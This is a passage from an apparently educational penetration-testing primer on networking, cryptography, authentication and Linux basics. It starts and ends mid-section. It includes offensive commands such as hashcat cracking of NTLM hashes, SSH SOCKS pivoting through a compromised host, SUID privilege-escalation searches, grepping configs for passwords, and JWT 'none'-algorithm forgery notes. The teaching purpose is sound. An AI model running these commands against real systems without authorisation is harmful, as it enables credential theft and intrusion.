  • SHA-256 β€” 256-bit, currently secure, used in TLS and blockchain.
  • bcrypt/scrypt/argon2 β€” Password-specific hashes, intentionally slow. The gold standard for password storage.
  • NTLM β€” Windows password hash (MD4-based). Crackable. Central to AD attacks.
# Identify hash types
hash-identifier                          # Interactive tool
hashid 'e99a18c428cb38d5f260853678922e03'  # Command line

# Common hash formats you'll encounter:
# MD5:    e99a18c428cb38d5f260853678922e03   (32 hex chars)
# SHA-1:  a94a8fe5ccb19ba61c4c0873d391e987982fbbd3   (40 hex chars)
# SHA-256: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
# NTLM:   a4f49c406510bdcab6824ee7c30fd852   (32 hex chars, no salt)
# bcrypt:  $2b$12$LJ3m4ys3Lg2VBe5E5dUGN.S7GkW9bDKjPvCmYkE/8kN9JxKm6QfKy

# Cracking with hashcat (see our guide!)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt    # MD5
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM

The TLS Handshake β€” How HTTPS Works

Every time your browser connects to an HTTPS site, a TLS handshake happens. Understanding this helps you with certificate-based attacks, MITM, and understanding Burp Suite's proxy:

  1. Client Hello: Browser says "I support these cipher suites and TLS versions"
  2. Server Hello: Server picks a cipher suite, sends its certificate (contains public key)
  3. Certificate Verification: Browser checks if the cert is signed by a trusted CA
  4. Key Exchange: Client and server agree on a shared symmetric key (using Diffie-Hellman or RSA)
  5. Encrypted Session: All subsequent data is encrypted with the symmetric key
πŸ’‘ Why Burp works: Burp Suite acts as a MITM proxy. It presents its own certificate to your browser (which you've trusted by installing Burp's CA cert) and makes a separate TLS connection to the server. It decrypts, inspects, and re-encrypts traffic in the middle. This is exactly what a real attacker does β€” but they need to trick the victim into trusting their certificate.

Public Key Infrastructure (PKI) β€” The Trust System Behind HTTPS

When your browser says a site is "secure," it's not magic β€” there's a chain of trust built on PKI. Understanding this helps you recognize certificate attacks, forge certs in testing, and understand why Burp needs a custom CA installed.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    CERTIFICATE CHAIN OF TRUST                       β”‚
β”‚                                                                     β”‚
β”‚  Root CA (DigiCert, Let's Encrypt, etc.)                           β”‚
β”‚  β”œβ”€β”€ Stored in your OS/browser trust store                         β”‚
β”‚  β”œβ”€β”€ Self-signed β€” trusts itself                                    β”‚
β”‚  β”‚                                                                  β”‚
β”‚  └──► Intermediate CA                                               β”‚
β”‚       β”œβ”€β”€ Signed by Root CA                                         β”‚
β”‚       β”œβ”€β”€ Issues certificates to websites                           β”‚
β”‚       β”‚                                                             β”‚
β”‚       └──► Server Certificate (e.g., google.com)                   β”‚
β”‚            β”œβ”€β”€ Signed by Intermediate CA                             β”‚
β”‚            β”œβ”€β”€ Contains: domain name, public key, expiry date       β”‚
β”‚            └── Your browser verifies this chain back to Root CA     β”‚
β”‚                                                                     β”‚
β”‚  If ANY link in the chain is untrusted β†’ browser shows warning ⚠️   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Key concepts for pentesters:

  • Certificate Authority (CA): An organization trusted to issue digital certificates. Root CAs are pre-installed in every OS and browser. Examples: DigiCert, Let's Encrypt (free), Comodo, GlobalSign.
  • Self-signed certificates: Not signed by a CA β€” the server vouches for itself. Common in internal networks and dev environments. Browsers show a scary warning, but the encryption still works. Pentesters see these a lot on internal targets.
  • Certificate Transparency (CT): Public append-only logs where publicly trusted CAs must log TLS certificates they issue (enforced by major browser trust programs like Apple and Chrome). You can query these at crt.sh to discover subdomains β€” if a cert was issued for staging.target.com, it'll show up in CT logs even if the subdomain isn't in DNS.
  • Certificate pinning: An app hardcodes which certificate(s) it trusts, bypassing the CA system entirely. Common in mobile apps. Makes MITM harder but can be bypassed with tools like Frida.
# Check a site's certificate chain
openssl s_client -connect example.com:443 -showcerts

# View certificate details
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -text -noout

# Search Certificate Transparency logs for subdomains
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u

Proxy Types β€” Forward, Reverse, and SOCKS

Proxies sit between a client and server, intercepting or forwarding traffic. They come up everywhere in pentesting β€” from Burp Suite to pivoting through compromised hosts.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                      PROXY TYPES                                    β”‚
β”‚                                                                     β”‚
β”‚  FORWARD PROXY  (client-side)                                       β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”                           β”‚
β”‚  β”‚ Client β”œβ”€β”€β”€β”€β–Ίβ”‚ Proxy β”œβ”€β”€β”€β”€β–Ίβ”‚ Server β”‚                           β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜                           β”‚
β”‚  Client knows about the proxy and sends traffic through it.         β”‚
β”‚  Examples: Burp Suite, corporate web filters, Squid                 β”‚
β”‚  Pentesting: Intercept and modify requests before they hit target   β”‚
β”‚                                                                     β”‚
β”‚  REVERSE PROXY  (server-side)                                       β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”                           β”‚
β”‚  β”‚ Client β”œβ”€β”€β”€β”€β–Ίβ”‚ Proxy β”œβ”€β”€β”€β”€β–Ίβ”‚ Server β”‚                           β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜                           β”‚
β”‚  Client doesn't know β€” it thinks the proxy IS the server.          β”‚
β”‚  Examples: Cloudflare, nginx, HAProxy, AWS ALB                      β”‚
β”‚  Pentesting: Try to bypass the proxy to reach origin directly       β”‚
β”‚                                                                     β”‚
β”‚  SOCKS PROXY  (general-purpose tunnel)                              β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                         β”‚
β”‚  β”‚ Client β”œβ”€β”€β”€β”€β–Ίβ”‚ SOCKS β”œβ”€β”€β”€β”€β–Ίβ”‚ Any Port β”‚                         β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                         β”‚
β”‚  Works at Layer 5 β€” routes any TCP (and some UDP) traffic.          β”‚
β”‚  Not limited to HTTP like forward proxies.                          β”‚
β”‚  Examples: SSH -D (dynamic port forward), Tor, proxychains          β”‚
β”‚  Pentesting: Pivot through compromised host to reach internal nets  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
# Create a SOCKS proxy through SSH (common pivoting technique)
ssh -D 9050 user@compromised-host

# Route tools through the SOCKS proxy
proxychains nmap -sT 10.10.10.0/24

# Burp Suite is a forward proxy β€” your browser sends traffic through it
# Default: 127.0.0.1:8080
🎯 Why this matters: In real engagements, you'll chain proxies constantly. Compromise an external server β†’ SSH tunnel through it β†’ SOCKS proxy to scan internal networks β†’ find the domain controller. Every hop uses a different proxy type. Phase 5 (Pivoting) covers this in depth.

API Fundamentals β€” REST, JSON, and What Pentesters Target

Modern web apps are built on APIs. The frontend you see in the browser is often just a pretty wrapper around API calls that do the actual work. As a pentester, you attack the API, not the UI.

  • REST API: The most common type. Uses HTTP methods (GET, POST, PUT, DELETE) on URL endpoints. Stateless β€” each request is independent. Example: GET /api/users/123 retrieves user 123's data.
  • JSON (JavaScript Object Notation): The standard data format for API responses. Lightweight, human-readable. Example: {"id": 123, "name": "admin", "role": "superuser"}
  • GraphQL: An alternative to REST. Single endpoint (/graphql), clients specify exactly what data they want via queries. Powerful but frequently misconfigured β€” introspection queries can leak the entire schema.
  • SOAP: Older XML-based protocol. Still found in enterprise/government systems. Heavier than REST, uses XML instead of JSON. Sometimes has XXE vulnerabilities due to XML parsing.
# Test a REST API endpoint
curl -s https://api.target.com/users/1 | jq .

# Common API pentesting checks
GET  /api/users/1    β†’ Does it return data? (IDOR: try /api/users/2)
POST /api/login      β†’ Brute force? Rate limited?
GET  /api/admin      β†’ 403 or 401? Try header bypasses
GET  /api/v1/debug   β†’ Old API versions often have debug endpoints

# GraphQL introspection (if enabled β€” often is)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name}}}}"}'
πŸ’‘ API testing tip: When you find an API, always check for: IDOR (change IDs in URLs), missing authentication (remove auth headers), mass assignment (add extra fields in POST/PUT requests), and verbose error messages (they leak internals). Our API Security Testing guide covers this in detail.

πŸ” Understanding Authentication

Authentication is verifying identity β€” "prove you are who you claim to be." Almost every attack eventually targets authentication in some way.

Password-Based Authentication

Still the most common. Vulnerabilities everywhere:

  • Weak passwords: Users choose "Password123!" β€” meets complexity requirements, trivially cracked
  • Password reuse: Same password on multiple sites. One breach exposes everything.
  • Plaintext storage: Some apps store passwords without hashing (yes, still in 2026)
  • Brute force: Try every combination β€” rate limiting and lockout policies are the defense
  • Credential stuffing: Use leaked credential databases against other services

Token-Based Authentication

After login, the server gives you a token (JWT, session cookie, API key) that proves you're authenticated:

  • Session cookies: Random string stored in browser, mapped to your session on the server. Steal the cookie = steal the session.
  • JWTs (JSON Web Tokens): Self-contained tokens with a header, payload, and signature. Common vulnerabilities: algorithm confusion (changing RS256 to HS256), "none" algorithm, weak signing keys.
  • API keys: Static strings for service authentication. Often hardcoded in source code, Git repos, or JavaScript files.
# JWT structure (three base64 sections separated by dots):
# Header.Payload.Signature

# Decode a JWT
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx" | cut -d. -f2 | base64 -d
# Output: {"user":"admin"}

# JWT attacks:
# 1. Change "alg" to "none" β†’ remove signature β†’ bypass verification
# 2. Brute-force the HMAC secret: hashcat -m 16500 jwt.txt wordlist.txt
# 3. Confuse RS256 (asymmetric) with HS256 (symmetric) β€” sign with public key

Certificate-Based Authentication

Instead of passwords, use X.509 certificates (common in enterprise environments, VPNs, and mutual TLS):

  • Client certificates: Prove client identity to server. Used in VPNs and secure APIs.
  • Mutual TLS (mTLS): Both sides present certificates. Common in microservices.
  • AD Certificate Services (ADCS): Misconfigured certificate templates are a huge attack surface. See: Certipy, ESC1-ESC8 attack chains.

Multi-Factor Authentication (MFA)

Combines something you know (password) + something you have (phone/token) + something you are (biometrics). Attacks against MFA:

  • MFA fatigue/bombing: Send repeated push notifications until user approves out of annoyance
  • SIM swapping: Take over someone's phone number to receive their SMS codes
  • Phishing with real-time proxy: Tools like Evilginx2 relay the MFA token in real-time
  • Token theft: Steal the authenticated session cookie after MFA is complete
🧠 Knowledge Check β€” Crypto & Subnets
In CIDR notation, how many usable host addresses are in a /24 subnet?
A /24 subnet has 256 total addresses (2^8), but the first address is the network address and the last is the broadcast address. That leaves 254 usable host addresses. In pentesting, /24 (e.g., 10.10.10.0/24) is the most common subnet you'll encounter in HTB labs.
What port does HTTPS use by default?
HTTPS runs on port 443 by default (HTTP is port 80). Other ports you should memorize: SSH (22), FTP (21), DNS (53), SMB (445), MySQL (3306), RDP (3389). Knowing these by heart speeds up your enumeration significantly.

🐧 Linux Command Line

Every pentesting tool runs on Linux. If you're not comfortable in a terminal, start here.

Essential Commands

# Navigation
pwd                   # Where am I?
ls -la                # List everything (including hidden)
cd /path/to/dir       # Change directory
find / -name "*.txt"  # Search for files
locate filename       # Fast search (uses database, run updatedb first)

# File operations
cat file.txt          # Read a file
grep -r "password" .  # Search inside files recursively
grep -i "pass\|cred\|secret" config.php  # Search for multiple patterns
head -n 20 file.txt   # First 20 lines
tail -f log.txt       # Watch a log file live
wc -l file.txt        # Count lines
diff file1 file2      # Compare files
strings binary        # Extract readable strings from binary files
file unknown          # Identify file type

# Networking
ip addr show          # Your network interfaces
curl -s http://target # Make HTTP requests
curl -v http://target # Verbose β€” see headers and handshake
wget http://target/file  # Download files
netstat -tlnp         # What's listening?
ss -tlnp              # Same thing, newer command

# Process management
ps aux                # All running processes
kill -9 PID           # Force kill a process
bg / fg               # Background/foreground jobs

# Permissions
chmod 600 file        # Owner read/write only
chmod +x script.sh    # Make executable
chown user:group file # Change ownership
sudo command          # Run as root

File Permissions β€” How Linux Controls Access

Linux file permissions are a core concept for privilege escalation. If you can find a misconfigured permission, you can often go from low-privilege user to root. Here's how it all works:

   β”Œβ”€β”€β”€β”€ File Type (- = file, d = dir, l = link)
   β”‚
   β”‚  β”Œβ”€β”€β”€β”€ Owner Permissions
   β”‚  β”‚
   β”‚  β”‚     β”Œβ”€β”€β”€β”€ Group Permissions
   β”‚  β”‚     β”‚
   β”‚  β”‚     β”‚     β”Œβ”€β”€β”€β”€ Others (Everyone Else)
   β”‚  β”‚     β”‚     β”‚
   -  rwx   rwx   rwx
      β”‚β”‚β”‚   β”‚β”‚β”‚   β”‚β”‚β”‚
      ││└─ execute (1)  β€” Run the file / enter the directory
      │└── write   (2)  β€” Modify the file / create files in directory
      └─── read    (4)  β€” Read the file / list directory contents

   Numeric: Add the values  β†’  rwx = 4+2+1 = 7
                                rw- = 4+2+0 = 6
                                r-x = 4+0+1 = 5
                                r-- = 4+0+0 = 4

   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚  COMMON PERMISSIONS                                            β”‚
   β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
   β”‚  755    β”‚  rwxr-xr-x β”‚  Owner: full, Others: read+execute      β”‚
   β”‚         β”‚            β”‚  Standard for directories & scripts     β”‚
   β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
   β”‚  644    β”‚  rw-r--r-- β”‚  Owner: read+write, Others: read only   β”‚
   β”‚         β”‚            β”‚  Standard for regular files              β”‚
   β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
   β”‚  600    β”‚  rw------- β”‚  Owner only. SSH keys, sensitive configs β”‚
   β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
   β”‚  777    β”‚  rwxrwxrwx β”‚  EVERYONE can do EVERYTHING. Red flag!  β”‚
   β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
   β”‚  4755   β”‚  rwsr-xr-x β”‚  SUID set β€” runs as file owner (often   β”‚
   β”‚         β”‚            β”‚  root). Privilege escalation goldmine!   β”‚
   β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
   β”‚  2755   β”‚  rwxr-sr-x β”‚  SGID set β€” runs with group privileges  β”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

   SPECIAL BITS β€” The Privilege Escalation Holy Trinity:
   ─────────────────────────────────────────────────────
   SUID (4xxx) β”‚ File executes as the FILE OWNER (not the user running it)
               β”‚ If owned by root β†’ runs as root. /usr/bin/passwd is SUID.
               β”‚ Find them:  find / -perm -4000 -type f 2>/dev/null
   ────────────┼──────────────────────────────────────────────────────
   SGID (2xxx) β”‚ File executes with the FILE GROUP's privileges
               β”‚ On directories: new files inherit the directory's group
               β”‚ Find them:  find / -perm -2000 -type f 2>/dev/null
   ────────────┼──────────────────────────────────────────────────────
   Sticky (1xxx) β”‚ On directories: only file owners can delete their files
               β”‚ /tmp uses sticky bit β€” prevents users deleting each other's files
               β”‚ Shown as 't' in the others execute position: drwxrwxrwt
# Find SUID binaries (privilege escalation recon β€” run this FIRST on any box)
find / -perm -4000 -type f 2>/dev/null

# Find world-writable files (anyone can modify)
find / -perm -o+w -type f 2>/dev/null

# Find world-writable directories
find / -perm -o+w -type d 2>/dev/null

# Find files with no owner (orphaned β€” possible exploit path)
find / -nouser -o -nogroup 2>/dev/null

# Check a specific file's permissions
ls -la /etc/shadow     # Should be 640 (root:shadow)
ls -la /etc/passwd     # Should be 644 (world-readable, that's normal)

# GTFOBins β€” check if a SUID binary can be exploited
# https://gtfobins.github.io/  ← Bookmark this immediately
🎯 Privesc workflow: On every Linux box you compromise, run find / -perm -4000 -type f 2>/dev/null immediately. Then cross-reference every result with GTFOBins. If you find /usr/bin/python3 or /usr/bin/vim with SUID set, you're root in seconds. This is the most common Linux privilege escalation vector in CTFs.

Pipes and Redirection

The real power of Linux is chaining commands together:

# Pipe (|) sends one command's output to another
cat /etc/passwd | grep "bash"     # Find users with bash shell
nmap target | grep "open"         # Only show open ports

# Redirect (>) writes output to a file
nmap target > scan.txt            # Save scan results
nmap target >> scan.txt           # Append (don't overwrite)
nmap target 2>/dev/null           # Discard errors

# Combine
cat wordlist.txt | sort -u | wc -l  # Count unique words
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head  # Top IPs

# Process substitution
diff <(cat file1 | sort) <(cat file2 | sort)  # Compare sorted contents

# xargs β€” turn output into arguments
cat urls.txt | xargs -I{} curl -s {}  # Fetch every URL
find . -name "*.bak" | xargs rm       # Delete all .bak files

Text Processing β€” awk, sed, cut

These tools are essential for parsing tool output in pentesting:

# cut β€” extract columns
cat /etc/passwd | cut -d: -f1      # Extract usernames
echo "10.10.10.5:8080" | cut -d: -f2  # Extract port

# awk β€” powerful field processing
cat nmap_output | awk '/open/ {print $1}'  # Extract open port lines
awk -F: '$3 >= 1000 {print $1}' /etc/passwd  # Users with UID >= 1000

# sed β€” stream editing
sed 's/old/new/g' file.txt                  # Replace all occurrences
cat file | sed -n '10,20p'                  # Print lines 10-20
echo "http://target.htb/page" | sed 's|http://||;s|/.*||'  # Extract hostname

# tr β€” translate characters
echo "HELLO" | tr 'A-Z' 'a-z'              # Lowercase
cat file | tr -d '\r'                       # Remove Windows line endings

File Permissions β€” What Pentesters Look For

Linux file permissions control who can read, write, and execute files. Misconfigurations are one of the most common privilege escalation vectors:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    LINUX FILE PERMISSIONS                            β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                      β”‚
β”‚   -rwxr-xr--  1  root  www-data  4096  Feb 8  app.py               β”‚
β”‚   β”‚β”œβ”€β”€β”œβ”€β”€β”œβ”€β”€                                                        β”‚
β”‚   β”‚β”‚  β”‚  β”‚                                                          β”‚
β”‚   β”‚β”‚  β”‚  └── Others:  r-- (4) = read only                          β”‚
β”‚   β”‚β”‚  └───── Group:   r-x (5) = read + execute                    β”‚
β”‚   │└──────── Owner:   rwx (7) = read + write + execute             β”‚
β”‚   └───────── Type:    - = file, d = directory, l = symlink         β”‚
β”‚                                                                      β”‚
β”‚   NUMERIC:  r=4, w=2, x=1 β†’ add them up                           β”‚
β”‚   chmod 755 = rwxr-xr-x (owner full, others read+exec)            β”‚
β”‚   chmod 644 = rw-r--r-- (owner read+write, others read)           β”‚
β”‚   chmod 777 = rwxrwxrwx (everyone full access β€” DANGEROUS)        β”‚
β”‚   chmod 600 = rw------- (owner only β€” good for SSH keys)          β”‚
β”‚                                                                      β”‚
β”‚   SPECIAL BITS:                                                      β”‚
β”‚   SUID (4000) β†’ File executes as the FILE OWNER, not the runner   β”‚
β”‚   SGID (2000) β†’ File executes with the GROUP's permissions        β”‚
β”‚   Sticky (1000) β†’ Only file owner can delete (used on /tmp)       β”‚
β”‚                                                                      β”‚
β”‚   chmod 4755 = -rwsr-xr-x  (SUID set β€” runs as owner)            β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

What pentesters look for:

  • SUID binaries owned by root: find / -perm -4000 -user root 2>/dev/null β€” if you can exploit one, you get root execution
  • World-writable files: find / -writable -type f 2>/dev/null β€” can you modify a script that root runs?
  • Config files with passwords: find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "pass"
  • SSH keys with wrong permissions: .ssh/id_rsa should be 600 β€” too-open permissions = SSH refuses to use them, but finding them means you've got a key to try
  • Cron jobs running as root: Check /etc/crontab, /var/spool/cron/, /etc/cron.d/ β€” if root runs a writable script, you win

Common Encodings β€” You'll See These Everywhere

CTFs and web exploits constantly use encoding to bypass filters or hide data. Know how to spot and decode these:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ ENCODING     β”‚ EXAMPLE                      β”‚ HOW TO DECODE                  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Base64       β”‚ YWRtaW46cGFzc3dvcmQ=         β”‚ echo "..." | base64 -d        β”‚
β”‚              β”‚ (= padding at end is a clue) β”‚ β†’ admin:password              β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ URL Encoding β”‚ %41%64%6d%69%6e              β”‚ python3 -c "import urllib.     β”‚
β”‚              β”‚ admin%40target.htb            β”‚   parse; print(urllib.parse.   β”‚
β”‚              β”‚ (%40 = @, %20 = space)       β”‚   unquote('%41%64%6d%69%6e'))" β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ HTML Entitiesβ”‚ &lt;script&gt;alert(1)      β”‚ Browser renders automatically  β”‚
β”‚              β”‚ &amp; &quot; &#39;          β”‚ &lt; = <  &gt; = >  &amp; = &  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Hex          β”‚ 0x41 0x64 0x6d 0x69 0x6e     β”‚ echo "41646d696e" | xxd -r -p β”‚
β”‚              β”‚ \x41\x64\x6d\x69\x6e         β”‚ β†’ Admin                       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Binary       β”‚ 01000001 01100100             β”‚ Rare in practice, common in   β”‚
β”‚              β”‚                              β”‚ beginner CTF challenges        β”‚
